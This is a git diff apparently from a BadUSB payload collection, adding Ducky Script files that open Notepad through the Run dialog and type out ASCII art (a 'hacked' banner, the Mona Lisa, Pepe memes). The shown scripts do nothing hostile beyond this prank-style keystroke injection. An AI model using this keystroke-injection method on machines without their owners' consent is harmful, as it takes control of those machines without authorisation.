STRING +@% =@%+. -#@@ .@@@% .:. %@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@% .:. %@@@..@@*- .=%@= %@=
ENTER
STRING +@% :%@@%+- -= *@@@+.=. .:.@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.:. .=.+@@@* =- -+%@@%: .%@+
ENTER
STRING =@%. -%@@@@%*=. #@@@:.@#- :@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@: -#%.:@@@* .=*%@@@@%- .%@=
ENTER
STRING -@@- :*@@@@@@%=+@@@.:@@%=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@=%@@..@@@+=%@@@@@@*: -@@-
ENTER
STRING :%@+ .-*%@@@@@#%@%..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@:.%@%#@@@@@%*-. +@%:
ENTER
STRING *@%: .+- :-=+*#%@@=.#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#.=@@%#*+=-: -+. :%@+
ENTER
STRING :%@+ =%%*=-::...::: .+%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%+. :::...::-=*%%= +@%:
ENTER
STRING +@@= -*@@@@@@@@@@@@%##%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%##%@@@@@@@@@@@@*- =@@+
ENTER
STRING .*@%= .-+#%@@@@@@@@%*+=:..%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%..:=+*%@@@@@@@@%#+-. =%@*.
ENTER
STRING .*@@= .-. .. .-+%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%+-. .. .-. =@@*.
ENTER
STRING .+@@*: .+%##****#%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%#****#%%+. :*@@+.
ENTER
STRING -#@%=. .=*#%@@@@@@%##@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##%@@@@@@@#*=. .=%@#-
ENTER
STRING .+%@%=. -@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@= .=#@%+.
ENTER
STRING :+%@%+- +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+ -+%@%+:
ENTER
STRING .-*%@%*=: *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@# :=*%@%*-
ENTER
STRING .-+#@@%*=%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@=*%@@%+-.
ENTER
STRING .-+*%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%*+-.
ENTER

116
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/Hacked.txt Normal file
View File

@ -0,0 +1,116 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Opens Notepad and types out the ASCII art
REM Version: 1.0
REM Category: ASCII
DELAY 1000
GUI r
DELAY 500
STRING notepad
ENTER
DELAY 1000
GUI UPARROW
DELAY 500
STRING #@@@@@@@/
ENTER
STRING @@@@@@@@@@@@@@@@@@@
ENTER
STRING @@@@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%
ENTER
STRING &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#
ENTER
STRING @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING (@@@@@@@@@@@@@@@@@@@@@@@@@. (@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@* .@@@@@@@@@@@@@@@@@@@@@@@@@&
ENTER
STRING (@@@@@@@@@@@@@@@@@@@@@@@@@, (@@@@@ #@@@, .@@@@@, ,@@@@@@@@@@@@@@@@@@@@@@@@@&
ENTER
STRING (@@@@@@ @@@@# @@@ &@@@@ %@@@@@&
ENTER
STRING (@@@@@@ @@@@. &@@@# *@@@@ %@@@@@&
ENTER
STRING (@@@@@@ (@@@@@* %@@@@@@@@@( /@@@@@, %@@@@@&
ENTER
STRING (@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@ %@@@@@&
ENTER
STRING (@@@@@@ #@@@@ (@@@@@@ @@& ,@@@@@@* .@@@@/ %@@@@@&
ENTER
STRING (@@@@@@ @@@@@@/ (@@@@@@@@@@@@@@@@@@@* %@@@@@@ %@@@@@&
ENTER
STRING (@@@@@@ (@@@@@@@@@@% ,@@ @@@@@@.@@@@@,(@@ &@@@@@@@@@@, %@@@@@&
ENTER
STRING (@@@@@@ .@@@@@@@@@@@@@@& #@@@@@ @@@@@ .@@@@@@@@@@@@@@@ %@@@@@&
ENTER
STRING (@@@@@@ *@@@@@@@@@@, *@@@@@@@@@@* %@@@@@&
ENTER
STRING (@@@@@@ .&@@@@@@@@@( #@@@@@@@@@% %@@@@@&
ENTER
STRING (@@@@@@ %@@@@@@@@@@@@@@@@@( %@@@@@&
ENTER
STRING (@@@@@@ .@@@@@@@@@@@ %@@@@@&
ENTER
STRING (@@@@@@ /@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. %@@@@@&
ENTER
STRING (@@@@@@ @@@@@@@@@@@@ &@@@@@@@@@@@ %@@@@@&
ENTER
STRING (@@@@@@ &@@@@@@ . .@@@@@@% %@@@@@&
ENTER
STRING (@@@@@@ *@@@@& @@@@@. %@@@@@&
ENTER
STRING (@@@@@@ %@@@@@&
ENTER
STRING (@@@@@@ %@@@@@&
ENTER
STRING (@@@@@@ %@@@@@&
ENTER
STRING (@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&
ENTER
STRING (@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&
ENTER
ENTER
STRING @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#
ENTER
STRING /@@@@@, *@@@@ .@@@@. @@@@ ,@@@@ .@@@@ ,@@@@ *@@@@ ,@@@@. /@@@@&
ENTER
STRING @@@@@@ .,@@@@, .@@@@@ ,@@@@* @@@@@ .@@@@& %@@@@ @@@@@.. @@@@@@
ENTER
STRING &@@@@@% .@@@@% .@@@@% @@@@@ @@@@@ @@@@@ @@@@@* @@@@@ &@@@@@(
ENTER
STRING *@@@@@@. ,@@@@@ %@@@@( @@@@@ (@@@@@ @@@@@, ,@@@@@ &@@@@% .@@@@@ *@@@@@@
ENTER
STRING @@@@@@@ @@@@@ @@@@@ @@@@@ @@@@@# @@@@@% #@@@@@ *@@@@@ .@@@@@ .@@@@@@&
ENTER
STRING (@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*
ENTER
STRING @@@@@@@, .@@@@@, @@@@@# @@@@@@ %@@@@@ /@@@@@@@
ENTER
STRING %@@@@@@@ .@@@@@% .@@@@@( &@@@@@. @@@@@@ @@@@@@@/
ENTER
STRING @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
ENTER
ENTER
STRING ##### # # # ##### # # ####### ######
ENTER
STRING # # #### ##### ##### # # ##### # # ##### # # #### # # # # ## # # ###### ##### ###### ###### # # # # # # # # # # # # #
ENTER
STRING # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # ## # # # # # # # # # # #
ENTER
STRING ##### # # # # # # # ##### # # # # # # # # ###### # # # # ##### ##### ##### ##### # # # ####### # # # ### ##### # #
ENTER
STRING # # # ##### ##### # ### # # # # # # # # # # # # ###### # # # # # # # # # # # # ####### # # # # # #
ENTER
STRING # # # # # # # # # ### # # # # # # # # # # # # # # # # # # # # # # ## # # # # # # # # # # #
ENTER
STRING ##### #### # # # # # # ##### #### # # #### #### # # # # ## ###### ##### ###### ###### # # # # # # ##### # # ####### ######
ENTER
DELAY 2000
CTRL HOME
DELAY 2000
CTRL END

177
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/MonaLisa.txt Normal file
View File

@ -0,0 +1,177 @@
REM Author: cribb-it
REM Description: Opens Notepad and types out the ASCII art
REM Version: 1.0
REM Category: ASCII
DELAY 2500
GUI R
DELAY 200
STRING notepad
ENTER
DELAY 300
ALT SPACE
DELAY 20
STRING x
ENTER
ENTER
ENTER
STRING XiiisiisrrsssiisssssiiiiiSiiiiiiiiiiiiSSSiiiiiiiissiiiiiiS55SSSSSSS5SSSiiiiisiiiiiiSSS
ENTER
STRING 2rrr;rrr;;rsrr;;;;;rrrrsrsrrrrrr;rrrrrrrrrr;;;;rrrrrrrrrrrrrrssrrr;rrrrrsrrrr;rrr;r;;r
ENTER
STRING 2sssrsisssssssrrriiiisi5iiSSSissssssiSiiiiisiiissssssrrsrrsiiiisssrsissiiisrsssssssiii
ENTER
STRING 5rrrrrrrrrrsrrssssrrsiiiiisisssssrrssssrsisrsssssssrrrrrr;rrrrrrsrrrrsrsrr;;rrrrrrrsii
ENTER
STRING 2;;rr;;;r;;;;;;;;rrrrrrssrrsrrsr;rrsrrr;;;;;;;rsrrssrrrr;;;;rrrrr;r;rrrr;;;;;rrrrrrsrs
ENTER
STRING 5rrrrrrrrr;;:;;;;;;;r;;rrrrrrrr;rrrrr;;;;;;::,::;;rrrrr;:;;;rrrr;;rrr;rrr;rrrrrrrrrrss
ENTER
STRING i;rr;rr;;;;;;;;;;;;:;;;;;;rr;;;rr;;;;;::,:;:::,,,:;;;;;;;;;;rrrrrrrrr;;rr;;rr;;rrrrrrr
ENTER
STRING s;r;::::;;:;;r;;;;;;;;;:;r;rrrr;;::,,;SGH#@@##HG2i;::;;;;;;;rrrrr;rrrr;rr;;r;:;;rrrrrr
ENTER
STRING i;;;;::;r;;;:;;;;;;;:::;;;;;;r;;:,;5#@@#@@@@@@@@@@@Mi:,;:;;rrr;rr;;;;;;r;;;;;:;;;rrrrr
ENTER
STRING i;;r;r;;;;:::;;:;::::;;;;;::;;:::s@@@@Ah@@@@@@@@@@@@@@r.:::;;;r;;;:;:::;;;;;;;;;;;;rrr
ENTER
STRING S;;::::::,:::::::::::::;;::::::.2@@#h2rih&H@@@@@@@@@@@@3..,::;;;;;;:;:;:::;::;;;r;;rr;
ENTER
STRING Sr;:.,,:,,:::;::::,,::;;;:::,,.i@Hr. .,;2HB#@@@@@@@@A.,:,:::;;::::::,:;:;;;;;;rrr;
ENTER
STRING i;;;:::,:,,,,:::::,:::::::,,,,S@&. :sXA##@@@@@@@A .,,::,,::::::::::::;;;;;rr;
ENTER
STRING r,:,,;:,,....,,,,,,,,:.,::,..r@@; ,r2GH#@#@@@@@@s ,:::,,:,,,:::,,,,::::;;;;;
ENTER
STRING r,:..,:;.... . .,,::,,:;:..rh@#;, ..,....,;;ri2hA##@#@@@@@:r;;:r;;:;:::::::,,:,:;;;::
ENTER
STRING 2rr;;;S5:,...,:. ..,:,,:,,.;A@@X:,....... .,::::;iA###@@@@@92Si52r:r;;;::,,:::::::;r;:
ENTER
STRING 9iXAGs5X2r;;rsis:,. .... .S#@@S..,, . ,;;:,,::r2B@@@@@@@@AXH332iiir5s,,,,:::,,;;iSsr
ENTER
STRING BAABA2S2552925hXh95s.... .;&A#@Hi2GAi,,s@@Bh&HM#BAM@@@@@#@@MABhXS5X5s9is::,::. ,;;ss5S
ENTER
STRING #MG3hS22S2h&XhAAA2iH; .:.:rBBH@#@A@@@;,@@9;#@@@#SS&###@@@@@@hAHBGX92A#35;.,,:,:;;rriSr
ENTER
STRING #GX5iiXSi3X2i&Hhh5X&;:2M&;;H##@;,,rXr..AX,.;sr, .rG@@#@@@#@@GHHA&3A&AAG9;.,,::;rrrsX5r
ENTER
STRING Mh332X252999GAG9HHA##A#G@HXh#@@: . .sr ,r2M@@@@@@@@@HA&A9X&&HBBB3;:;:;r;:;riii
ENTER
STRING AA#AGHAGhHG2GAh&B#M###MA@#HABM@3 ., .is,. .:S3A@@@@@#@@@@A25SsiSiS55XX5rrrrrrrissi5
ENTER
STRING BM@#&ABM&Ah25X3GAHAAHMB#@@@#HM@#:..;r :29;.,:rShAM@@##@@@@@@#MMHGXX222SiisiiSXGh#MX2A&
ENTER
STRING #M##B9&H&GAAAGX2&9&GAHAM#@@###@@3r;.:X@@@;.;s29&AM##@@@@@@@@@@@@@@######MHB#B#HA#@@@@M
ENTER
STRING #####hG&&AH&HBhhAAAA&HHB#B#@@M@@AsSs,rHBhhG5siX3GB#@@@@@@#@@#MMMBBBB#####@@#H&GAA####B
ENTER
STRING #B#MA9hAAH&hhAABHHHBBHMMBHB#MA@@@r;;;;s9BAS;rs2hA##@@##@@@@@#BHAAHHHBMMBHH&X2XhAB####M
ENTER
STRING #M#BGHAHAAAHHBMBHBHHAAA&GGHHM#@@@@3: .;riiisS3AAHM#@##@@@@@@#AGHBHHHAHBHHHAHM##HH&&B#M
ENTER
STRING ##M###BH&&H#MBHHHAG&hGhGG9&A##M#@@@@; :s2hH#MBM#@###@@@@@@#BhAH&939AHHAAAHHH&hAAAM@M
ENTER
STRING ##MMMM@#&&AHHM#MMMAMHA&9X2A#BB#M#@@@@AS3AB@@###@@#@@#####@@@##HAAHGAABA&A&&&HBAABAAM#M
ENTER
STRING ###HB#M#B&&A&HHA&AXGX22isi9###@#@@@@@@@@@@@@@@@#MMMM####@@@@@@#B##BHHBMMMMM####MHAAAAM
ENTER
STRING ####@@H#@A&Ahh3222S5issi552H@@####@@@@@iS&M@#MA&hX3A#@#@@@#M@@HHHHA&GAHMMBM@#MMMBM@@BB
ENTER
STRING #M##B@##AAHX225522i5X5S2559h##M##@#@@@@i.;s2XXX2isS3B##@@@##@@MA&3iSX25XS2322iss2&BBAB
ENTER
STRING #BA&93X52X559GHAM#H3h9&3&&BM@#@#@#@@@@@h;::;rsrrr;riG#M##@BB@@@@@@###G2XGhi;;iiXh2A#@#
ENTER
STRING #H9X9X9223XS9ABMGG@@@#@@@@@@@@@@@@@@H2;;;::;;;::;;:;5B#BABBH@@@@@@@@@@@@@@G;r2hhXS&@@#
ENTER
STRING ##BG3H#AA9X&M#&GA&@@@@@@M@@@@###@#X;:. ..,,,...,:,:sGMMhGHM@@@@@#BAh5issisriAH&AhM@@#
ENTER
STRING #BB#M@@AhhAA&h52X#@@G@@#B@@@##@##; ... .,,:;2#HA2&H@@##@@@MAAX:.,;52h92GA&AGB#
ENTER
STRING #MABAHMX2&3GX2SGHM#MhB@BAM@####A5. .... .,,;;i&3BGA#@@#@##@@@@#XiSsiisi525rSGH#
ENTER
STRING #M&HX2BHrrrSSS3hHAAA3&AAB@@@#&33; .... ..,,:rXB&BGH@@@#&3AH#@@#MHhXissGiriS2XXM
ENTER
STRING #MB#AH@@G3r:;risXAA92&#@@@@@&rrs, .... .,:::r93GHAM#HGXS5XhA#@@@@MAGXsrrr;:,,;G
ENTER
STRING #AAA&BMHB@@#3ssiiXG9H@@@##@#s,,. ... .. ...,,:r39HHG2s;::;;s2XH@@@@@@@@@##@HH9G&9
ENTER
STRING #A&925GAAB##@A3A3r;&@@@##@@Hr .... .:;sS5X5r;;;i3AB##@@@@@@@@@@@@@@@B2s;5
ENTER
STRING #AAHHHH&32&&33X5Sr2@@@@##@#HHr .,. .:ri25i2A#@@@@@@@@@@@@@@@@@#@@@@@@AS9
ENTER
STRING #H&AG22iri2SrrsiG@@@@@#B@MBAAMAAS;;;. :iX9AM#@@@@@@@@@@@@@@@@@@@@@@AHB#@@@@#
ENTER
STRING @M&h52r2GHXX&HB#@@@#@#M@MGh9HM@@#@@#AXirr;:,,,rXH@MH@@@@@@@@####@@@@@@@@@@@@@#G&9H@#B#
ENTER
STRING @#AXX92S2X5iSS2@@###@@##AhGAH@#B@#HM#@@@@@@@####@@M#@@@@@#A9&#B#@@@@@@@@@@@@@@#@M#@@AM
ENTER
STRING @@@BHAGX25222i2@@@##@@@@AA#&#@B@#GG&BBHB##@@#MH#@@@@@@@#MMh9@B#@######@@@@@@@@@M#@@@##
ENTER
STRING @@@@#MMBHHMMBAM@@@@@@#@#A###@H#@M&&hGAHM###BM#@@@@@@###BB#B@MHA25hHAHB#@@@@@@@@AXGG#@@
ENTER
STRING @#@#GAA&HBBAB##@@@@@@@@#M@#@#H#@MH#HBBM@#HH##@@@@@@@#@##@@@MBH2XG&H&BM#@@@@@@@@@BBA@@@
ENTER
STRING ##@2iisii5is5A#@@@@@@@@@#@@@##@@#@@@@@@#H#BM@@@@@@@@@@#@@@#AB&XG9hHM@@@@@@##@@@@@@#@@@
ENTER
STRING @#XsrsrrrrrrS#@#@@@#@@@@@@@@M#@@@@#@@@#HHM#@@@@@@@@@@@@@@#AHBh9AA#@@@@@@@@@#M@@@#hAh#@
ENTER
STRING #GSX222Xis5S#@@@@@@@@@@@#@@@##@@@@@@@@MMM@@@#@@@@@@@@@@@#BAH#AA#@@@@@@@@@@@###@@@AGG3M
ENTER
STRING #@@@#MMMMB#@@@@@#MM#@@@@@@@@##@@@@@@####@@###@@@@@@@@@@@#MB@@@@@@@#@@@@@@@@@#@@@@@@@@#
ENTER
STRING ####MHAB#@@@@@@#MMBB##@@@@@@@#@@@@@##@#####@@@@@@@@@@@@@##@@@@@@@##@@@@@@@@@@@@@@@@@@@
ENTER
STRING #MHHH&H@@@@##@@MBHHHB##@#@@@@#@#@@@#@####@@@##@@@@@@@@@@##@@@@@@##@@@@@@@@@@@@@@#####@
ENTER
STRING ###BB@@@@@###MMBH&&AM####@@@####@@@@#B#@@@@@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@###M#@
ENTER
STRING #M#M@@@@###BAM#@###M##M##@@@#@@@@@@MB#@@@@@@@@@@@@@@@@@@@@@@@@####@#@@@@@@@@@@@####M#@
ENTER
STRING ###@@##M@@@@@@@@@@@@@@##@@@@@@@@@###@@@@@@@@@@@@@@@@@@@@@@@@@@@@###B##@@@@@@@@###@@#B@
ENTER
STRING @@@@@##@@#@H&&ABAHHB@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@###@@@@@@@@###@@@@#@
ENTER
STRING @@@@#@#@MH&Ai&#G&A3&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING @#@@##@@BHHGGXrXA23GXS#@Mh529H@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@##@@@@@@@@@@@@@@@@@@@
ENTER
STRING @@@@##@@B#Xi2SH&SA3Xihi. ,;SA@@@@@@@@@@@@@@@@@@@@@@@@@@@@@####@@@@@@@@@@@@@#@@@@@
ENTER
STRING @@@@##@@##X5M#32#BAH@5: ..,;3@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@@@@@@@@@@
ENTER
STRING @#@@@@@@@#H#@SH@#MA#B3r,:,::,...... ;XA@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING @####@#@@@@@#A@MMHA#A@hiS5Sir::,,,,,.. .rA@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING @#######@@##@@@@@@#@#@@MM#H95sr;;:;;,.:: .2H###&9AH##ASs2GG&&H@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING @#@@@@###@@@@@@@@#@@@@@@@@#hSSisrrsir:rH@X. .riiir:;SSSh92i2A&AAA#@@@@@@@@@@@@@@@@@@@@
ENTER
STRING @@@@@@@@@@@@@@@@@@@@@MXir,;G&X2555ii32;,2@@#Sr5X29AA9AG9BMA22B#MBM#@@@@@@@@@@@@@@@@@@@
ENTER
STRING @@@@@@@@@@@@@@@#@@@A;:ri:.:rG#HhXXi;rA#i.,X@@#&22h&##hHG3B@@#HM#BBB@@@@@@@@@@@@@@@@@@@
ENTER
STRING @@@@@@@@@@@@#@@##@@iiA2;rr,:r3##GhAh;.r#@i;rG@@@H#MM#M@#GX#@###@@###@@@@@@@@@@@@@@@@@@
ENTER
STRING @@@@@###@########@#iGSr3&r;:rsX##&X#@3:,A@#irSB@@##@#M@@@##@@##@@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING @@@##@@#@@#######@#X9SAB5i;rXh&B@@@H#@#&hA@@MirA@#@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING @@@@@@@@@@@@@@@##@@#BAA2srX#@@@@@@@@@@@@@#M#@@#H@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING @@@@##@@@@@@@##@@@@@@#HSiA@@@@#M##B##@#M#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING @#@@@#####@@####@@@@@@@9H@@@###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING @#@#@##@@@@@@####@@@@@@MH@@@##@@@#####@@@@@@#@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING @@@@#@@@###@@##@#@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING @@@@@@@@##@@##@@#####@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##@@@
ENTER
STRING @@@@@@@###@@@@@@@@#@@@@@@@@@@@###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING @@@@@@@@@@@@@@###@@@@@@@@@@@@@@###@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
ENTER
STRING @@@@@@#@@@#@#########@@@@@@@########@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
ENTER
ENTER

112
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/PepeThonkASCII.txt Normal file
View File

@ -0,0 +1,112 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Opens Notepad and types out the ASCII art
REM Version: 1.0
REM Category: ASCII
DELAY 1000
GUI r
DELAY 500
STRING notepad
ENTER
DELAY 1000
GUI UPARROW
DELAY 500
STRING ::--=====--::. ....
ENTER
STRING .-**=::.. .:--=*#= :***======+**+:
ENTER
STRING :#*- -#+. :**. :=*+.
ENTER
STRING .**. :#%=. .#+
ENTER
STRING #: %+ -%:
ENTER
STRING #- .:-==++++==--:-@ .%=
ENTER
STRING - :+++=-::.....:::-===++: .:-=======-: *+
ENTER
STRING .=%+. .=%##*=-::. ....-=+**+%-
ENTER
STRING +- =%- .=#*:
ENTER
STRING +* .-*+:
ENTER
STRING =%. *+
ENTER
STRING .-=++====++++++*+++++*++=.-@: .::---:*%.
ENTER
STRING .=*+=:::--==+++++=---=**+-..:+*#% :++****+++++++++:
ENTER
STRING +#- -+**++=-::. .:-+#*: -#*. =%- :+**+=---=-==++*#%#.
ENTER
STRING .#- +#=. .+#+-.:#= *+ .#*: -*#*++++*#**- #%-
ENTER
STRING #+=%= :-==++=+***********+++##*++**: @- -.-#@%*+++===: .*#+=
ENTER
STRING -:-+#@+: %@*:@@@@@@@@# **:*+*+ *@@%%@@@@@@#-**+--%-
ENTER
STRING :+**=%@@@#@@@- :@@ ** +#. =%=@@*+@@@==%@- .-+%+
ENTER
STRING ==. -*@@@=#@@*==#@@ #+.% #+ +@@%=@@%-:#@= :*%=
ENTER
STRING -#*. :=*#%@@@@@@= :=+@* %+=*@@@@@@@@@@%::=#+.#.
ENTER
STRING :**-. .-=+*#*******=:. #- .:-=++++*****+=-. :%-
ENTER
STRING :=++++++++++========+++: .==-:....: +***%%.
ENTER
STRING ....:%*. -*%=--: --=*#:-%-
ENTER
STRING =***+ =%: .*= :-:. #:
ENTER
STRING .:::. .-+*+- :+. -@=
ENTER
STRING -****=--. .:=***+- .. =*=%
ENTER
STRING =*.##+****+-. .+=: #. *+
ENTER
STRING -@ =-..:=+++++==-:. -#: =#.
ENTER
STRING =%= :*#+=:. :--+****+=--:. -#+ -%-
ENTER
STRING -#+- .:=+**+-. .:--=++****###***++++=----==+++***= =#
ENTER
STRING .-+++- .-=+++++++++++==-:. ...::::::.... -*+-#.
ENTER
STRING -**+-. ..-=+*******++****++++++***#**= #
ENTER
STRING .-+#=: .... :#:
ENTER
STRING .-+++=-::.. .-+@
ENTER
STRING .:--=++********++======++**#**#*****+. @.
ENTER
STRING ..:::... -#
ENTER
STRING .=+++=+*+.:**
ENTER
STRING =#*: :#%.
ENTER
STRING -#= *#-.
ENTER
STRING :-=-..-+%#. .. :=++:
ENTER
STRING .#=..-#@- -# .+#=%%*#: -= =#+.
ENTER
STRING =+ -# ** =#*:.#* =%+#=. :#+
ENTER
STRING *+. -+++%++- :++.-%%*: -*.
ENTER
STRING -#+ *= :#*-**=. .#*
ENTER
STRING +#. =##+.*#. :*- =%.
ENTER
STRING -* ++:%= -#=. -%:
ENTER
STRING :# .+@#. =# =%- .#-
ENTER
STRING =# :*+-::** -#= :*: #.
ENTER
STRING .#*#: :--%= :%= =#. .%
ENTER
STRING :: .- .-. -: .- -.

102
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/PepeWowASCII.txt Normal file
View File

@ -0,0 +1,102 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Opens Notepad and types out the ASCII art
REM Version: 1.0
REM Category: ASCII
DELAY 1000
GUI r
DELAY 500
STRING notepad
ENTER
DELAY 1000
GUI UPARROW
DELAY 500
ENTER
ENTER
ENTER
STRING .:--------::. ..::::::.
ENTER
STRING .=+***++++++++++**+=-: .:==++***++++++***=.
ENTER
STRING .=**++++++++++++++******#%*=*##*+++++++++++++**###+++++++=-
ENTER
STRING -**++++++++**########***********####+++++++++*##*++++*########+==-:
ENTER
STRING -**+++++++####*+++++++++*############%%###*++++++++####*+++*******++*##+:
ENTER
STRING :***+++++*##*++++++++*####****#########**++**#%*+*###*+*#*+==--:::--=++*##**+.
ENTER
STRING +#**+++++*#++++++++*##*+*#*+=:. .-=+*#*+@#*++*#+: .=*#%
ENTER
STRING +****+++++++++++++##*+*#*- . -+%*++%= :=*##*=. -=
ENTER
STRING +****++++++++++++*#+++#+. .+#@@@@@#=.-#%: .#@@@@@@@@#. -:
ENTER
STRING -#****++++++++++++***#*. *@@@@@@@@@@@= +* .@@++@@##@@@% -+
ENTER
STRING %*****+++++++++*#+=:. *@@*=#@%*+#@@@- =+ -@@+*@- .@@@: .*
ENTER
STRING =#****++++++++++%- @@@*=#@ #@@+ % %@@*%%=-*@@% .*
ENTER
STRING #*****++++++++++*#*+=- #@@@@%@+::=@@@- @: .*@@@@@@@@* .+:
ENTER
STRING %*****+++++++++++++++*#+. .#@@#=@@@@@@@+ +##*- .=+**+=. -+.
ENTER
STRING :#*****++++++++++++++++++#*- -#@@@@@@%+. .*#+++*#*+-. .-+%-
ENTER
STRING =#*****+++++++++++++++*#*++*#+: .::. :*@*++++++++*##**+++++++**#**+#:
ENTER
STRING +******+++++++++++++++++##*+++*#*=:. .:=*#*##++++++++*####************+-.
ENTER
STRING +******+++++++++++++++++++*###**++*##***+++++**##**+*##+++++++++++++****#####*#:
ENTER
STRING *******+++++++++++++++++++++++**#######*********#####*+++++++++++++++++++++++++***+=
ENTER
STRING *******++++++++++++++++++++++++++++++++**********++++++++++++++++++++++++++++++++++*#
ENTER
STRING ******+++++++++++++++++++++++++++++++++++++++++++++++++++***######################*+#.
ENTER
STRING ******+++++++++++++++++++++++++++++++++++++++++**##########***********************#%%.
ENTER
STRING #*****+++++++++++++++++++++++++++++++++++*#######*************################******#
ENTER
STRING *******++++++++++++++++++++++++++++**#####**********#######%%#####***********#%***#=
ENTER
STRING =#*****++++++++++++++++++++++++*####********###%%%%%###*#########*#**********%#*#=
ENTER
STRING :#*****++++++++++++++++++++++#%#*******##%%%%###########*#########**#******#%***-
ENTER
STRING .%*****++++++++++++++++++++++%#****#%%%%##########################*##******@***#
ENTER
